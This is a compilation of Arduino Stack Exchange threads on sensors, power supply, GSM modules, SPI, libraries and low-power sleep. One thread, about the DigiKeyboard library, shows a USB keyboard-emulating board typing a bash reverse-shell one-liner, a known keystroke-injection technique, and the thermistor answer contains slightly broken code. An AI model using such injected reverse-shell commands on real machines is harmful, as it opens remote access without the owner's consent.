body:
I have 9 sensors, they will send a datastring to my Arduino through Tx/Rx (every 3½ seconds, pre-programmed). The only problem is that there's only one Tx/Rx port on an Arduino Uno. Is it possible to use an analog multiplexer to "make" more Serial ports? Because the sensors send something every 3½ seconds, there's no need to be fast.

EDIT: It's a Temperature and Relative Humidity Sensor

title: Using a analog multiplexer to use 9 serial input sensors?

Answers: 2

body:
No. Not unless you can change your communication protocol to be a "call-and-response" protocol.

Basically, the problem is this: *when* do you switch to *which* serial device? Unless all the devices have their timing synchronised there is no way of knowing - so how do you control your analogue multiplexer in that situation...?  You can't.

You would need to have some method of the master switching the multiplexer to a specific peripheral, then send a message to that peripheral saying "Send me your data now".

You would be better off investigating other boards with more UART ports, such as the Mega2560, and having multiple boards.

The Mega2560 has 4 UART ports. You can have 4 sensors per board (5, if you want to use SoftwareSerial or, better, AltSoftSerial), so you could get away with two boards.

One board acts as normal, communicating on the UART ports to 4 sensors, and also acts as an I2C or SPI master (the choice is yours). The second board communicates to 4 more sensors on UARTs and one further on using AltSoftSerial etc. It also acts as an I2C or SPI slave device.

The "slave" board just runs autonomously gathering data from the sensors it is directly connected to and storing those values.  The "master" then periodically asks the "slave" board for the latest data.

body:
Thanks for the answer and my apologies for the late answer.
I just tried a multiplexer, because some people said that I would work. I can receive info from all the 9 sensors. The sensor sends a datastring and I filter the temperature and relative humidity and then I switch to the next sensor. It works quite well, the only problem is that you can't request the datastring, so you should wait till the datatstring is sent


body:
I have rigged up a small DHT11+ESP8266 combo which I'm currently powering from the 3.3v from an Ardruino. I've ordered a 3.7v LiPo battery and have a Adafruit usb micro LiPo charger, however, the battery will take two weeks to come.

Can I plug the usb charger directly into the DH11 while my battery arrives?

title: Can a DHT11+ESP8266 be powered by a Adafruit USB LiPo charger directly?

Answers: 1

body:
No, you can't.

The charger circuit will only operate properly with a battery attached.

It is not designed to provide power to a system. It is designed for charging the battery and nothing else.  You are supposed to remove the battery from the charger and then attach it to your circuit.  Even with a battery attached you can't use it to power your circuit - the voltage will be too high, and your target circuit will confuse the charger and it will fail to charge the battery properly (or it may end up over-charging the battery).

To do what it sounds like you want to do you need:

1. A LiPo charge circuit
2. A 3.3V regulator (ideally a Buck/Boost combined regulator)
3. Bypass circuitry to power the 3.3V regulator directly from the incoming power when present or from the battery when no external power is present.


body:
I'm trying to connect a ~5.5V (2 x 3V coin cells in series, but their voltage drops a little) to the VBat (or V+) of my **Adafruit Huzzah ESP8266** module (**not** the black Feather one, the smaller blue one: [https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/pinouts][1])
Whenever I do that the voltage output from the 3.3V pin drops to **~0-1 V** and thus the ESP stops working.

However when I use the FTDI cable (3.3 V) and connect it to my laptop, there is no problem, I get almost 3 V.

I also added a 1000mF capacitor to smooth out voltage signals and actually that also helps to increase the volt a little (without it I get almost a 0 V on the 3.3V output)

Any ideas?

  [1]: https://learn.adafruit.com/adafruit-huzzah-esp8266-breakout/pinouts

title: Adafruit Huzzah ESP8266 Battery Power issue

Answers: 1

body:
After tinkering more, I figured out that the Huzzah module is happy to take in up **4.5V** via a 3 AAA battery cell so I guess it's ok up to 5V since my previous battery input was **over 5V**.

That's a little weird considering that in Adafruit's page, it says

> ..to make it easier to power, we put a high-current-capable 3.3V
> voltage regulator on the board. It can take 3.4-6V in but you should
> stick to 4-6V since the ESP8288 has high current usage when WiFi is
> on.

Hope this may help someone else.


body: I want to use an Arduino MKR GSM 1400 in my area wich has a bad connectivity on mobile internet. On my phone it's very weak and if i drive to the next village it works sometimes on the arduino with the given standard antenna but I want it to work in a wider range. Is there any antenna available specifically for mobile connections wich you can put on a arduino? And how do you call them and where can I buy such a thing or even build it myself? Do you have any suggestions for such an antenna? And is there something I can improve with just using software to strengthen the signal?

title: Build an improved GSM antenna for arduino mkr gsm 1400

Answers: 1

body: On one end of the MKR GSM 1400 is a *U.FL* antenna connector.  To that you need to connect a *U.FL To Female SMA Adaptor*.  That adaptor can then screw into an *SMA GSM Antenna* of your choice.


body:
I recently bought a 'TinySine 3G shield (SIM5320E) 900/2100Mhz' based on Adafruit_FONA libraries to use with Arduino Mega 2560 R3.  It successfully registered with Vodafone AU. Other functionality works (SMS, GPS) but not HTTP/TCP.

[![View from SimCom AT Command Tester ][2]][2]

  [1]: http://m2msupport.net/m2msupport/tutorial-for-simcom-m2m-modules
  [2]: https://i.stack.imgur.com/r6pzE.png

I'm following this [TCP/UDP section of SimCom tutorial][1] to receive data from a REST API. But I cannot set the APN for TCP as there is no support for `AT+CSTT` command as it seems.

I can see it's on WCDMA network.

        AT+CREG?
        +CREG:1,1

        AT+CPSI?
        +CPSI: WCDMA,Online,505-03,0x014E,xxxxxxx,WCDMA IMT xxxx,xxx,xxxx,0,12.0,97,12,18,500
        OK

**Error comes here**

        AT+CSTT="live.vodafone.com"
        ERROR

Is there a way to resolve this issue
 - With the same setup/libraries OR
 - By upgrading libraries/firmware of the module OR
 - Using any other set of commands

Please provide if any of you have a sample code to access a REST API. Appreciate your help very much.

title: How to configure TinySine 3G module (SIM5320E) for HTTP GET request

Answers: 1

body:
CSTT works on GPRS modules like SIM900. I found a way to get SIM5320E working to download websites. Tested with TeraTerm and used `<Ctrl M>` and `<Ctrl J>` instead of `'<CR> <LF> OR /r/n'` characters.

**Network setup**

    AT+CGDCONT=1,"IP","<your APN>","0.0.0.0"
    AT+CGSOCKCONT=1,"IP","<your APN>"
    AT+CSOCKSETPN=1

**Start HTTP service**
You can stop and start service if it's not responding properly.

    AT+CHTTPSSTART
    AT+CHTTPACT="www.iforce2d.net",80

**HTTP GET request**

    GET /test.php HTTP/1.1  <-- don't hit enter, instead hit the below 2 keys
    <Ctrl M>
    <Ctrl J>
    Host: www.iforce2d.net  <-- don't hit enter, instead hit the below 2 keys
    <Ctrl M>
    <Ctrl J>
    Connection: close  <-- don't hit enter, instead hit the below 4 keys. This is useful when connecting to REST APIs to download the the respective result only.
    <Ctrl M>
    <Ctrl J>
    <Ctrl M>
    <Ctrl J>

To end the command and to receive results:

    <Ctrl Z>

You will receive a lot of data here.

**Stop HTTP service**

    AT+CHTTPSCLSE
    AT+CHTTPSSTOP

You will get the contents of the website. Probably it should contain the data you need (I didn't test the content. May be you will need to tweek the result a bit.)


body:
I own a OnePlus 6 and it has a fingerprint sensor. Instead of using a fingerprint scanner module like the R305, could I just use my mobile for scanning the fingerprints? If yes, how do I implement this?

This is for creating a smart home security system.

title: Can the Arduino interface with a fingerprint sensor on my mobile?

Answers: 3

body:
Technically, yes it is possible.

1. Write an app for your phone that scans your fingerprint and does "something" with it.
2. Decide on (and implement) some form of communication protocol between the phone and the Arduino and send data from the phone depending on what you decide the "something" above is.
3. Write a sketch for your Arduino that responds to that communication protocol and performs whatever task you require.

The Arduino side of things, effectively, has nothing at all to do with the fingerprint scanner - it just accepts data from your phone. The fact that the phone is generating that data using the fingerprint scanner as a stimulus is of no importance to the Arduino.

99% of the work for the fingerprint scanner will be done on the phone, and done using phone software. Not Arduino software.

body: Majenko in his answer described how to do it if you can code an application for phone. Other option is a little  overkill, but should be a ready solution. You could use 1Shield. It is a shield, a library and a phone app to use phone resources with Arduino. It supports fingerprint sensor. I have no experience with it, I only read about it.

body:
You'd need an app on your mobile to read the sensor and communicate the result to your Arduino _in a secure way_ that cannot be spoofed by an intruder. That secure communication over an open channel (WiFi, I assume?) is not trivial to do right, so that would be a weak point in your security.

[Blynk](https://www.blynk.cc/), an app+server+Arduino library combination provides an authentication token to pair with your Arduino in a relatively secure way. You quickly make (drag-and-drop) a control panel for your Arduino system with it. It doesn't offer fingerprint sensing directly, but if you keep your Blynk authentication token a secret, keep your Blynk app+token on your mobile, and the mobile is fingerprint-locked, you'd have essentially the same thing, and the pieces already exist. You'd only need to code the smart-home parts for the Arduino.


body:
I'm trying to make an automatic planter for herbs etc. I finally got everything 3D printed and wired together. But for some reason, the relay I'm using refuses to switch or enable certain connections. I'm confused because it worked perfectly - continuity-wise - during my initial testing or installation.

The relay model [HERE](https://www.amazon.com/gp/product/B00VH86JGI). The relay is to be controlling the ground connection of both an 12v indoor grow light and 12v small water pump. I was a bit confused with the relay's wiring itself. First time using this type of relay. Anyway, I got it working; well previously.

Here are some video to help explain the issue:

https://www.youtube.com/watch?v=GUiHs28bvK8

https://www.youtube.com/watch?v=-xaj8q537x4

(*After uploading, I hear that my phone's mic stops the tone of the multimeter a few seconds into each video. But trust me, the tone is constant throughout the duration of both videos. You may be able to hear it?*)

title: Project: Relay is ticking, but not actually switching

Answers: 0


body:
[![enter image description here][1]][1]I'm a beginer to arduino program.i will like to make a program that will send latitude and longitude on my mysql database.so since 3 days i try to learn how to use all this material(GPRS/GSM SIM900 shield, gps neo-6M).But i only success to make them work alone.i also learn that i cannot use SoftwareSerial for GPRS/GSM SIM900 shield and  gps neo-6M at the same time.
so how can i make GPRS/GSM SIM900 shield and gps neo-6M work together using arduino uno

thank you for you help

  [1]: https://i.stack.imgur.com/FzYih.jpg

title: how to make GPRS/GSM SIM900 shield work with gps neo-6M module using Arduino UNO board

Answers: 2

body:
I will suggest you to use TinyGPS to connect only via GPS and get the position, make sure you are testing outside with good view of the sky or the gps will never get a lock down.

Then when you are familiar with TinyGPS and how to get the location, add the GSM module to send over this information to your mysql server.

body:
I think you are searching for a solution like this [Interfacing GSM and GPS Module using Arduino][1] where GPS and GSM modules can run together and receive data at the same time.

I tried bringing up both inside setup() and it blocked the other device. Here is some extract of the code (Note that rx,tx and baud rates may differ according to the modules).

    SoftwareSerial gsm(7,8);
    SoftwareSerial gps(3,4);

    void setup() {
        Serial.begin(9600);
        gps.begin(9600);
        gsm.begin(4800); <--- This stopped receiving GPS updates
    }

If you look for an advanced way of handling this situation, you may need to implement some light-weight threads (e.g Protothreads) and assign GPS and GSM modules to run in separate threads, so one device may not block send/receive of the other device. [These Arduino forum answers][2] may help for such approach.

  [1]: https://steemit.com/utopian-io/@kimp0gi/interfacing-gsm-and-gps-module-using-arduino-a-step-by-step-guide-tutorial-for-tracking
  [2]: https://arduino.stackexchange.com/q/286/49122


body:
I have an assignment wherein we have 8 LEDs connected to an Arduino Uno which has a switch. These LEDs light up according to the johnson counter but every time I turn the switch off it should reset back to the start. An example is if I turned the switch off while the pin is at 8 going back to 1 , then when i turn it on it should be back to 1 again. I got the 1 to 8 reset part right but the 8 to 1, I'm having trouble solving.

Here is my code:

<!-- language: lang-cpp -->

    int pin;
    int sw3 = 10;

    void setup() {
      // put your setup code here, to run once:
      for (pin = 2; pin <= 9; pin++) {
        pinMode(pin, OUTPUT);
      }
      pinMode(sw3, INPUT);
    }

    void loop() {
      pin == 2;
      if (digitalRead(sw3) == HIGH) {
        for (pin = 2; pin <= 9; pin++) {
          digitalWrite(pin, HIGH);
          delay(200);
        }
      }
      else {
        digitalWrite(pin, LOW);
      }

      delay(200);

      for (pin = 2; pin <= 9; pin++)
      {
        digitalWrite(pin, LOW);
      }
      delay(200);

      if (digitalRead(sw3) == HIGH) {
        for (pin = 9; pin >= 2; pin--) {
          digitalWrite(pin, HIGH);
          delay(200);
        }
      }
      else {

        digitalWrite(pin, LOW);
      }

      delay(200);

      for (pin = 9; pin >= 2; pin--) {
        digitalWrite(pin, LOW);
      }
      delay(200);
      {
        if (digitalRead(sw3) == LOW) {
          digitalWrite(pin, LOW);
        }
        else {
          digitalWrite(pin, LOW);
        }
      }
    }

title: Arduino with 8 LEDs and a switch

Answers: 1

body:
Some fixes:

`pin==2;`  should only be 1 `=` here. `==` is a comparison.

`pinMode(sw3,INPUT);`  make this `INPUT_PULLUP`, to turn on the internal pullup resistor

`if(digitalRead(sw3)==HIGH){ `  change this to `LOW`, and wire your switch/button to connect the pin to GND when pressed. The internal pullup will unsure the pin is HIGH when not pressed, and the button/switch makes it LOW when pressed. The pin is thus not allowed to 'float' and return a random HIGH or LOW.


body:
So I have this old RC car which doesn't seem to connect to the joystick very well so im going to modify it with an Uno with 433 MHz receiver/transmitter.

Both the steer and drive motors work as intended so long as you can reverse their current. I've seen people use the dual channel drivers which is what I know I probably what I should use to drive the motors. I bought a starter kit a while back which came with a single L9110H Chip. I thought maybe I could order another one and just solder them to a PCB and mount the PCB along with the Uno inside the car that way I don't have an extra chip just collecting dust. I've looked at the [data sheet for the L9110H][1] and came up with a diagram on Fritzing.

[![L9110H-bridge motor driver Fritzing diagram][2]][2]

I was hoping someone could tell me if I'm on the right track with this?

  [1]: https://www.elecrow.com/download/datasheet-l9110.pdf
  [2]: https://i.stack.imgur.com/zPwJo.png "L9110H-bridge motor driver Fritzing diagram"

title: L9110H-bridge motor driver

Answers: 1

body: Yes, looks good to me. That looks to be identical to the "Application Circuit" on page 2 of the datasheet you link to.


body:
I have an [MCP4151][1] digital potentiometer chip. I have managed to get it to work using and Arduino Uno using the code below:

    #include <SPI.h>

    byte address = 0x00;
    int CS= 5;

    void setup()
    {
      pinMode (CS, OUTPUT);
      SPI.begin();
    }

    void loop()
    {
      for (int i = 0; i <= 128; i++)
      {
        digitalPotWrite(i);
        delay(10);
      }
      delay(500);
      for (int i = 128; i >= 0; i--)
      {
        digitalPotWrite(i);
        delay(10);
      }
    }

    int digitalPotWrite(int value)
    {
      digitalWrite(CS, LOW);
      SPI.transfer(address);
      SPI.transfer(value);
      digitalWrite(CS, HIGH);
    }

But when I try to get it to work using an ESP32 programmed using Arduino language it doesn't. I have connected like that

 - SCK -> 18
 - MOSI -> 23
 - SS -> 5

I also used the potentiometer inside like a voltage divider for test purposes. GND on one leg, 3.3v on the other and an LED on the wiper. Are there other settings that I have to implement in order the ESP32 SPI to work like an Arduino SPI? Did I miss something?

  [1]: https://dlnmh9ip6v2uc.cloudfront.net/datasheets/Components/General IC/22060b.pdf

title: SPI Digital Potentiometer not working on ESP32

Answers: 3

body:
The [ESP32 SPI library][1] has defaults for the HSPI pins (14, 12, 13, 15). For VSPI pins, you must specify the pins in begin().

    SPI.begin(18, 19, 23, 5);

  [1]: https://github.com/espressif/arduino-esp32/blob/master/libraries/SPI/src/SPI.cpp

body:
I managed to get it to work in a strange way. I opened the example included in the ESP32 SPI Library and copied some points from there.

I first initialise a pointer to the SPI class, then I call **`begin()`** at that pointer and inside the `digitalPotWrite` function I call **`beginTransaction(10000,MSBFIRST,SPI_MODE0)`** and end the transaction before `digitalPotWrite` finishes. Full code here:

    #include <SPI.h>

    static const int spiClk = 1000000;
    byte address = 0x00;
    SPIClass * hspi = NULL;

    void setup()
    {
      pinMode(15, OUTPUT);
      hspi = new SPIClass(HSPI);
      hspi->begin();
    }

    void loop()
    {
      for (int i = 0; i <= 128; i++)
      {
        digitalPotWrite(i);
        delay(10);
      }
      delay(500);
      for (int i = 128; i >= 0; i--)
      {
        digitalPotWrite(i);
        delay(10);
      }
    }

    int digitalPotWrite(int value)
    {
      hspi->beginTransaction(SPISettings(spiClk, MSBFIRST, SPI_MODE0));
      digitalWrite(15, LOW);
      hspi->transfer(address);
      hspi->transfer(value);
      digitalWrite(15, HIGH);
      hspi->endTransaction();
    }

body:
Change the int for a void in the function...
That's it.
When you call that function is never going back, still waiting for a return.

    int digitalPotWrite(int value)
    {
      digitalWrite(CS, LOW);
      SPI.transfer(address);
      SPI.transfer(value);
      digitalWrite(CS, HIGH);
    }


body:
**GOAL**: I'm trying to use `DigiKeyboard` library but I'm facing a problem when I use `print` or `println` with character different from alphanumeric ones.

**PROBLEM** : I import the library as I've seen on others projects:

    #include "DigiKeyboard.h"

Then I try to output this string "`bash -i >& /dev/tcp/127.0.0.1/80 0>&1`" using `print` method:

    DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:

    bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?

**SOLUTION**: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

title: Why do DigiKeyboard.print and println change my string?

Answers: 3

body:
The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it.  All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries.  It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

1. Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
2. Modify the Arduino core to map the characters using an Italian keymap, or
3. Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3.  Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did.  So spend some time and work out which characters, when you print them, result in which characters being typed.

body: You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.

body:
The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT).
I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent.
I'll definitely make the code freely available if/when it works.


body:
So I followed the guide on GitHub to run this [demo][1] which compiles and runs. It does warn of some deprecations and such in the firebase libraries :

> In member function '**const String& FirebaseArduino::error()**'  warning:
> returning reference to temporary [-Wreturn-local-addr]
>      **return error_.message().c_str();**

It is failing to update my firebase database and the firebase error message is not being displayed, seems to be because of the above error. But this does make it complicated to debug...

Can someone please help me get around this?

Appreciate any feedback or pro tips :)

**UPDATE**

So found an issue on GitHub that solved connecting to the database. Fingerprint update apparently... https://github.com/FirebaseExtended/firebase-arduino/issues/369 but still would like to solve the firebase library error so that everyone can get legible error messages back when using it.

  [1]: https://github.com/FirebaseExtended/firebase-arduino/tree/master/examples/FirebaseDemo_ESP8266

title: Error running FirebaseDemo on nodeMCU

Answers: 2

body:
It is quite right to tell you that.  The offending code is here:

    const String& FirebaseArduino::error() {
      return error_.message().c_str();
    }

In that, it calls the `message()` function on the `error_` object to get a `std::string` object, which it then gets the C string data from with `c_str()`.  It then creates (due to the return type) a temporary `String` object and copies the C string data into it.

A reference to that temporary `String` object is then returned and the `String` is then destroyed immediately.  That's bad. The returned reference now points to nothing in particular.

It wouldn't surprise me if there were other places where that kind of thing happens. Which would explain why things aren't necessarily working right.

You should raise an issue on the [Github issues page](https://github.com/FirebaseExtended/firebase-arduino/issues) for that project with the author.

body:
>  It does warn of some deprecations and such in the firebase libraries :
>
>In member function 'const String& FirebaseArduino::error()' warning: returning reference to temporary [-Wreturn-local-addr] return error_.message().c_str();

i also get some depreciation like

    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'bool FirebaseObject::isNullString(const String&) const':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:67:57: warning: 'const char* ArduinoJson::Internals::JsonVariantCasts<TImpl>::asString() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:28): use as<char*>() instead [-Wdeprecated-declarations]
       return variant.is<const char *>() && variant.asString() == NULL;
                                                             ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'ArduinoJson::JsonVariant FirebaseObject::getJsonVariant(const String&) const':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:87:26: warning: 'ArduinoJson::JsonObject& ArduinoJson::Internals::JsonVariantCasts<TImpl>::asObject() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:23): use as<JsonObject>() instead [-Wdeprecated-declarations]
         json = json.asObject().get<JsonVariant>(start);
                              ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/throw_out_of_range.cpp:6:28: warning: unused parameter 'str' [-Wunused-parameter]
     void __attribute__((weak)) __throw_out_of_range(const char* str) {
                                ^
    In file included from /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:1:0:
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.h:82:79: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
       const void AddToJson(const FirebaseCloudMessage& message, JsonObject& json) const;
                                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:80:60: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
         const FirebaseCloudMessage& message, JsonObject& json) const {
                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'int FirebaseRequest::sendRequest(const string&, const string&, char*, const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:76:1: warning: no return statement in function returning non-void [-Wreturn-type]
     }
     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'void FirebaseStream::startStreaming(const string&, const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:89:48: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       analyzeError("STREAM", status, path_with_auth);
                                                    ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'String FirebaseArduino::push(const String&, const ArduinoJson::JsonVariant&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:79: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
                                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:7: warning: unused variable 'status' [-Wunused-variable]
       int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
           ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::set(const String&, const ArduinoJson::JsonVariant&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:94:65: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "PUT", path.c_str(), buf);
                                                                     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::getRequest(const String&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:101:60: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "GET", path.c_str());
                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual void FirebaseArduino::remove(const String&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:147:63: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "DELETE", path.c_str());
                                                                   ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual const String& FirebaseArduino::error()':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:201:33: warning: returning reference to temporary [-Wreturn-local-addr]
       return error_.message().c_str();
                                     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:47:50: warning: 'bool HTTPClient::begin(String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:156) [-Wdeprecated-declarations]
         http_.begin(url.c_str(), kFirebaseFingerprint);
                                                      ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:51:80: warning: 'bool HTTPClient::begin(String, uint16_t, String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:157) [-Wdeprecated-declarations]
         http_.begin(host.c_str(), kFirebasePort, path.c_str(), kFirebaseFingerprint);
                                                                                ^
    Compiling library "ESP8266HTTPClient"

to fixed that, go to Preferences in Compiler Warnings choose as Default. it ignored all warning in depreciation, don't forget to update your library to get Firebase Fingerprint has changed on [2 Aug 2018][1].

Uploaded your sketch again, your should be get data like

[![enter image description here][2]][2]

  [1]: https://github.com/FirebaseExtended/firebase-arduino/pull/368
  [2]: https://i.stack.imgur.com/qsl8R.gif


body:
Suppose I have a typical setup/loop style sketch, such as this one which turns on an LED when a button is pressed.

How do I modify this so that it enters low power mode, awakes on the button press, and puts itself back into low power mode when its logic has finished?

    void setup() {
      pinMode(ledPin, OUTPUT);
      pinMode(buttonPin, INPUT);
      // desired: enter low power mode here
    }
    void loop() {
      int buttonState = digitalRead(buttonPin);
      // desired: awake from low power mode here
      if (buttonState == HIGH) {
        digitalWrite(ledPin, HIGH);
        delay(1000);
        digitalWrite(ledPin, LOW);
      }
      // desired: back to low power mode here
    }

title: Converting a standard setup/loop sketch to a low power application?

Answers: 1

body:
This sketch is almost identical to the **powerDownWakeExternalInterrupt.ino** sketch that comes with the `LowPower` Library. I'm using `INPUT_PULLUP` and a N.O. push button switch to trigger it to wake up and turn an LED on.

    #include "LowPower.h"
    const byte wakeUpPin = 2;

    // Just a handler for the pin interrupt.
    void wakeUp(){}

    void setup(){

      // Configure wake up pin as input.
      // This will consumes few uA of current.
      pinMode(wakeUpPin, INPUT_PULLUP);
      pinMode(LED_BUILTIN, OUTPUT);
      digitalWrite(LED_BUILTIN, LOW);

    }

    void loop(){

      // Allow wake up pin to trigger interrupt on low.
      attachInterrupt(0, wakeUp, LOW);

      // Enter power down state with ADC and BOD module disabled.
      // Wake up when wake up pin is low.
      LowPower.powerDown(SLEEP_FOREVER, ADC_OFF, BOD_OFF);

      // Disable external pin interrupt on wake up pin.
      detachInterrupt(0);

      // Do something here.
      digitalWrite(LED_BUILTIN, HIGH);
      delay(2000);
      digitalWrite(LED_BUILTIN, LOW);

    }


body:
Connecting all like shows the image, thermistor shows, that I'm going to be burnt:

[![][2]][2]

[![][1]][1]

The code is simple:

    #define analogPin  A0 //the thermistor attach to
    #define beta 4090
    #define resistance 10

    void setup()
    {
      Serial.begin(9600);
    }

    void loop()
    {
      //read thermistor value
      long a =analogRead(analogPin);
      //the calculating formula of temperature
      float tempC = beta /(log((1025.0 * 10 / a - 10) / 10) + beta / 298.0) - 273.0;
      float tempF = 1.8*tempC + 32.0;
      Serial.print("Temp: ");

      Serial.print(tempC);

      Serial.print("  C");

      Serial.print("Fahr: ");
      Serial.print(tempF);
      Serial.print(" F");
      delay(200); //wait for 100 milliseconds
    }

Do I have a wrong thermistor or wrong code?

  [1]: https://i.stack.imgur.com/Tu4S2.jpg
  [2]: https://i.stack.imgur.com/xAUUa.png

title: Thermistor doesn't work

Answers: 1

body:
The series resistance is 220 Ohms (Red, Red, Brown).

You also need to take into account the thermistor resistance at 25C. Assuming its 10K. Hence choosing a 10K series resistance will make the calculations easier.

         int THERMISTORNOMINAL =  10000;
         int SERIESRESISTOR = 10000;
         int TEMPERATURENOMINAL = 25;

         a = 1023 / a - 1;
         a = SERIESRESISTOR / a;
         tempC = a / THERMISTORNOMINAL;     // (R/Ro)
         tempC = log(tempC);                  // ln(R/Ro)
         tempC /= Beta;                   // 1/B * ln(R/Ro)
         tempC += 1.0 / (TEMPERATURENOMINAL + 273.15); // + (1/To)
         tempC = 1.0 / steinhart;                 // Invert
         tempC -= 273.15;                         // convert to C


body:
I would like to implement a secure communication channels between 2 arduinos communicating over 433 mhz radio modules (to be more precise using the barebone Atmega 326 chips).

I know that the lack of resources are a problem with the Atmega chips. The best starting point I could find was this library, which never got written:

https://forum.arduino.cc/index.php?topic=314845.0

The way I see it it does not matter what kind of encoding we use if an attacker can capture and replay that OTA, there has to be a 2nd component between the devices which is not known for an attacker and changes the same way like a DS based timer. If a client could encrypt its messages using key=timeXpassword key->encrypt(datatobesent) then the server could decrypt it the same way if it arrived in a proper time period like +-/5 seconds where the time does not have to be the current accurate time just a clock which is in sync between the devices. When the message is received by the server it would calculate 5 different data possibilities for the 5 seconds and look into a decrypted data for certain string to determine if that is a VALID data packet.

For this again there would be the need of an external timer circuit like the DSXXXX series because the internal timer in the chip is not reliable/overflows after a while.

Any other ideas for secure communication?

title: Arduino secure two way communication over radio

Answers: 2

body:
You may want to take a look at my RC4-with-diffusion algorithm [RC4D][1] which is very resource friendly as it takes less than 500 bytes of flash space (when encrypting inplace) and is much faster than AES128 on an Arduino.

  [1]: https://kwasi-ich.de/blog/2018/03/05/mcu_encryption/

body:
Since you have two-way communication you can be far more cunning that just including a timestamp.  You can use real authentication.

The idea here is the "sender" first sends a request to the "receiver" saying "Let me in".

The "receiver" then sends back a message saying "Ok, here's your session key".

The "sender" then encrypts the connection credentials using that session key in some way (or encrypts it in some way including that key with the credentials) - ideally with a trapdoor hash algorithm, and sends it to the "receiver".

